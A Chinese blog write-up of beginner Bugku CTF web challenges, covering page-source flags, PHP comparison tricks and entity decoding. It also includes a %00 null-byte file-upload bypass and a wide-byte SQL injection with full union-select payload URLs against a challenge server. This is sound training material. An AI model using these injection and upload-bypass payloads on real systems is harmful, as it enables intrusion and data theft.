欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bugku web题1~8 write up

程序员文章站 2022-03-09 22:49:27
...

第一次写博


web2

打开网页是一个不断加快的动画,没有特别的线索。
右键查看元素,结果flag就在body注释里,如图:
bugku web题1~8 write up
ps:感觉这题收获不大,也许可以理解一下这题的js代码,就当是学js了
p:考察右键查看源码


文件上传测试

测试:需要上传php文件才能得到flag,但是只允许上传图片文件
思路:使用%00截断上传文件
流程:构造文件名为1.php.jpg的文件上传用burp抓包(如图):
bugku web题1~8 write up
修改文件名:在.php之后加上%00截断,进行url解码还原为空字符,提交得到flag
解码前:bugku web题1~8 write up解码后:bugku web题1~8 write up
p:文件上传漏洞


计算器

打开网页显示界面如下:
bugku web题1~8 write up
尝试输入答案,发现表单输入长度为1
思路:通过元素修改输入框的maxlenth属性,输入计算结果提交,得到flag。(如图)
bugku web题1~8 write up
p:利用F12修改元素


web基础$_GET

打开页面得到以下代码:

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

简单来说就是通过get传入参数:what=flag
得到flag
p:了解get


web基础$_POST

打开页面得到以下代码:

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

解析:通过get传入参数:what=flag
得到flag(post传参可使用火狐插件hackbar)
p:了解post


矛盾

打开页面得到以下代码:

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

代码解析:

函数:is_numeric()

is_numeric() — 检测变量是否为数字或数字字符串
语法:bool is_numeric ( mixed $var )
如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。

逻辑:

通过get传入参数num,要得到flag,num不能是数字或数字字符串,且num==1
很明显两个条件是矛盾的

思路:

通过科学计数法表示1,因为科学计数法不是纯数字又可以等于一。
php科学计数法格式:系数e+指数
例: 1000==1e+3 1234=1.234e+3 1=1e+0
传入num=1e+0 得到flag
p:科学计数法绕过


web3

打开页面不断出现弹框,禁用弹框后,查看元素。
发现script标签里有这样一行代码:

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

感觉是unicode编码:尝试解码(可用站长工具,网上直接搜就行)
解码得到flag

这里有一个疑问:
&# + 十进制 和 &#x + 十六进制 似乎都是表示unicode编码
额,我是这样理解的,不知道对不对
p:右键产看script,unicode码


sql注入

打开页面如图:
bugku web题1~8 write up
要求查询key表,id=1的string字段
测试:单引号 双引号 返回正常,应该进行了转义,查看网页元素发现使用gb2312编码
那就尝试一下宽字节注入:

http://103.238.227.13:10083/?id=1%bf‘–+
http://103.238.227.13:10083/?id=1%bf’ and 1=1–+
http://103.238.227.13:10083/?id=1%bf’ and 1=2–+

不加注释报错,加注释返回正常,存在逻辑判断,存在注入
判断字段数:

http://103.238.227.13:10083?id=1%bf’ order by 2–+

判断回显点:

http://103.238.227.13:10083?id=0%bf’ union select 1,2–+

查数据库:

http://103.238.227.13:10083?id=0%bf’ union select database(),2–+
数据库:sql5

结合题目获取flag:

http://103.238.227.13:10083?id=0%bf’ union select string,2 from sql5.key–+
得到flag

p:宽字节注入


(*有借鉴他人write up)

相关标签: web bugku